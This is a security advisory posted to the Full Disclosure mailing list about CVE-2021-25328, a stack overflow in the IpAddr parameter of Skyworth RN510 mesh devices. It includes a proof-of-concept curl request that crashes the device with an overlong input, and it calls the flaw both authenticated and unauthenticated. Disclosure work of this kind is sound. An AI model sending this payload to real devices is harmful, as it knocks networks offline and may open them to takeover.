KSA-Dev-0010:CVE-2021-25328:Authenticated Stack Overflow in Skyworth RN510 mesh Device

From: Kaustubh Padwad via Fulldisclosure <fulldisclosure () seclists org>
Date: Sat, 1 May 2021 20:02:43 +0000

```
itle :- Authenticated  Stack Overflow in RN510 mesh Device
CVE-ID:- CVE-2021-25328
Author:  Kaustubh G. Padwad
Vendor:  Shenzhen Skyworth Digital Technology Company
Ltd.(http://www.skyworthdigital.com/products)
Products:
     1. RN510 with firmware V.3.1.0.4 (Tested and verified)
Potential
    2.RN620 with respective firmware or below
    3.RN410 With Respective firmwware or below.

Severity: High--Critical

Advisory ID
============
KSA-Dev-0010

About the Product:
==================

* RN510 dual-band wireless AC2100 access point delivers high-speed
access for web surfing and HD video streamings. Integrated with two
gigabit LAN ports, and a dual-band AP which supports 2x2
802.11n(300Mbps) and 4x4 802.11ac (1733Mbps) concurrently, RN510provides
a stable & reliable high speed wired and wireless connectivity for home
user and SOHO users. Utilizing state of art EasyMesh solution, two or
more RN510 units could be easily teamed upwith Skyworth ONT gateway
(e.g. GN543) and form an automatically organized network. RN510 could
support either wired line backhaul or wireless backhaul to other mesh
node. User could enjoy a wonderful zero-touch, robust and failure auto
recovery, seamless connected wireless home networking experience.
RN510 uses a system of units to achieve seamless whole-home Wi-Fi
coverage, eliminate weak signal areas once and for all. RN510 work
together to form a unified network with a single network name. Devices
automatically switch between RN510s as you move through your home for
the fastest possible speeds. A RN510 Dual-pack delivers Wi-Fi to an area
of up to 2,800 square feet. And if that’s not enough, simply add more
RN510 to the network anytime to increase coverage. RN510 provides fast
and stable connections with speeds of up to 2100 Mbps and works with
major internet service provider (ISP) and modem. Parental Controls
limits online time and block inappropriate websites according to unique
profiles created for each family member. Setup is easier than ever with
the Skywifi app there to walk you through every step.

Description:
============
An issue was discovered on Shenzhen Skyworth

A long Text to the IpAddr function allows remote attackers to cause a
denial of service (segmentation fault) or achieve unauthenticated remote
code execution because of control of registers.


Additional Information
=======================
The value of IpAddr under /cgi-bin/app-staticIP.asp function is not
getting sanitized,so passing too much junk data to the IpAddr parameter
triggers to the SIGSEGV segmentation fault in device, post research it
was possible to control the registers.A Successful exploitation could
leads to unauthenticated remote code execution on device.


[Affected Component]
IpAddr function on page /cgi-bin/app-staticIP.asp inside the boa web
server implementation.

-------------------------------------------
[Attack Type]
Remote
-------------------------------------------
[Impact Code execution]
true
-------------------------------------------
[Impact Denial of Service]
true

-------------------------------------------
[Attack Vectors]
Remote code execution by running the poc.py against the target ip address.

[Vulnerability Type]
====================
Buffer Overflow,Exec

How to Reproduce: (POC):
========================

One can use below exploit
curl -i -s -k -X $'POST' \
    -H $'Host: device_IP' -H $'User-Agent: Mozilla/5.0 (X11; Linux
x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' -H $'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H
$'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate'
-H $'Referer: http://device-ip/cgi-bin/app-staticIP.asp&apos; -H
$'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length:
500' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'SESSIONID=valid_cookie; UID=username; PSW=password' \
    --data-binary
$'hEntry0=-1&hEntry1=-1&hEntry2=-1&hEntry3=-1&hEntry4=-1&hEntry5=-1&hEntry6=-1&hEntry7=-1&hEntry8=-1&delete_flag=0&add
_flag=1&staticNum=0&emptyEntry=0&tmpStartIp=192.168.2.33&tmpPoolCount=32&dhcpEthStart=192.168.2.33&dhcpEthEnd=32&ethSu
bnetMask=255.255.255.0&IpAddr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&MACAd
dr=AA%3ABB%3ACC%3ADD%3AEE%3AFF'
\
    $'http://device_ip/cgi-bin/app-staticIP.asp&apos;


Mitigation
==========

[Vendor of Product]
```

Shenzhen Skyworth Digital Technology Company
Ltd. (http://www.skyworthdigital.com/products)

Disclosure:
==========
19-Jan-2021:- reported this to vendor
19-Jan-2021:- Requested for CVE-ID

credits:
========
* Kaustubh Padwad
* Information Security Researcher
* kingkaustubh () me com
* https://s3curityb3ast.github.io/
* https://twitter.com/s3curityb3ast
* http://breakthesec.com
* https://www.linkedin.com/in/kaustubhpadwad

_____
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Current thread:

KSA-Dev-0010:CVE-2021-25328:Authenticated Stack Overflow in Skyworth RN510 mesh Device *Kaustubh Padwad via Fulldisclosure (May 04)*